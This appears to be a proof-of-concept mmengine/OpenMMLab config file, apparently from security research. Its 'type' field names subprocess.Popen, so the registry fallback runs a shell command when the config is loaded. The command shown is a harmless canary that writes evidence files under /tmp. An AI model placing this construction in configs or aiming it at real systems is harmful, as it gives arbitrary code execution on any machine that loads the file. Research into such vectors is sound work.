# mmengine / OpenMMLab config format
# type → Registry.get() → fallback → importlib.import_module → cls(**cfg)
# Shape: S3

model = dict(
    type='subprocess.Popen',
    args=['python3', '-c',
          'import pathlib,datetime,json;'
          'pathlib.Path("/tmp/polyglot_evidence").mkdir(exist_ok=True);'
          'pathlib.Path("/tmp/polyglot_evidence/mmengine.txt").write_text('
          'f"CANARY FIRED — mmengine\\n"'
          'f"Time: {datetime.datetime.now(datetime.timezone.utc).isoformat()}\\n"'
          'f"Vector: type field → Registry fallback → importlib.import_module → Popen(**cfg)\\n"'
          'f"Shape: S3 (registry fallback)\\n");'
          'pathlib.Path("/tmp/polyglot_evidence/mmengine.json").write_text('
          'json.dumps({"event":"POLYGLOT_CANARY","framework":"mmengine",'
          '"timestamp":datetime.datetime.now(datetime.timezone.utc).isoformat(),'
          '"vector":"type→Registry.get()→importlib","shape":"S3"}))'],
)